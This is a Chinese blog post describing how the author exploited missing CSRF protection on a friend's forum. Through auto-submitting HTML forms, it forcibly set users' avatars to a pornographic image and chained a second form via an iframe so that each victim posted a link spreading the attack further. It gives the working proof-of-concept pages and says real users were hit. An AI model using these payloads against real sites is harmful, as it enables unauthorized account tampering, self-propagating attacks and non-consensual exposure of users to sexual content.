vlambda博客
学习文章列表

看我如何利用csrf实现全论坛用户头像苍老师

前言

今天在水我朋友论坛的时候 回回帖子改改签名的时候发现回帖出没有验证 上传头像处等等都没有验证 很有可能存在csrf 最近看苍老师的va看的我念念不忘 就让苍老师来洗礼一下他们吧(纯属爽文)

正文

首先先在头像处上传我苍老师的艳照 抓个包

然后生成一个csrf的poc

看我如何利用csrf实现全论坛用户头像苍老师

由于burp生成的poc需要点击按钮才能触发 用户很难上当受骗 这里用js添加一个自动点击事件

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xxxx.com/my-avatar.htm" method="POST">
      <input type="hidden" name="width" value="221" />
      <input type="hidden" name="height" value="128" />
      <input type="hidden" name="action" value="clip" />
      <input type="hidden" name="filetype" value="jpg" />
      <input type="hidden" name="name" value="360�ˆ›¾16290614243454.png" />
      <input type="hidden" name="data" value="图片信息(苍老师由于太长影响排版)"
      <input type="submit"id="submit" value="Submit request" />

          </form>
            <script>
                  document.getElementById("submit").click();
              
</script>
        </body>
      </html>

本地测试一下

看我如何利用csrf实现全论坛用户头像苍老师

发现已经成功更改

然后然后将此html放在网站根目录在生成一个短链接

发帖 看看会不会有人上钩

看我如何利用csrf实现全论坛用户头像苍老师

不到一会就有人上钩了

看我如何利用csrf实现全论坛用户头像苍老师

不过这样速度太慢了 我需要人传人 由于没有xss属实难受

所以打算把发帖处劫持一下

看我如何利用csrf实现全论坛用户头像苍老师

构思:只要劫持发帖然后和改头像合成一个poc 然后让用户访问就可以达到人传人的效果简单来说就是我访问这两个合成的链接既改了头像也会发贴这个头像的恶意url导致人传人

但是如何达到这种效果呢 ??

这里用iframe嵌套另一个poc就是先访问1.html 然后跳转2.html 好的先把两个html文件放进根目录

1.html

<html>
  <body>
  <iframe src="https://www.xxxx.com/xxxx/2.html"> </iframe>
  <script>history.pushState('', '', '/')</script>
  <script language=javascript>setTimeout("document.form1.submit()",1000) </script>
    <form name="form1" action="https://xxxxx.com/my-avatar.htm" method="POST">
      <input type="hidden" name="width" value="221" />
      <input type="hidden" name="height" value="128" />
      <input type="hidden" name="action" value="clip" />
      <input type="hidden" name="filetype" value="jpg" />
      <input type="hidden" name="name" value="360�ˆ›¾16290614243454.png" />
             <input type="hidden" name="data" value="苍老师图片信息"/>
<input type="submit" value="Submit request" />
     </form>

   </body>
</html>

2.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
  <script language=javascript>setTimeout("document.form2.submit()",500) </script>
  <form name="form2" action="https://xxxxx.com/thread-create.htm" method="POST">
      <input type="hidden" name="doctype" value="0" />
      <input type="hidden" name="quotepid" value="0" />
      <input type="hidden" name="fid" value="1" />
      <input type="hidden" name="subject" value="�œ‡�ƒŠ�¥­�½¬�½¬�€�¸ˆ�±…�„¶" />
      <input type="hidden" name="message" value="<p>http://suo.im/6jPy6w</p>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

由于访问1.html就会触发2.html 所以我把1.html当帖子发出去再配一个好标题

最后效果图

文末本文纯属爽文请多多包含

文章来源于作者投稿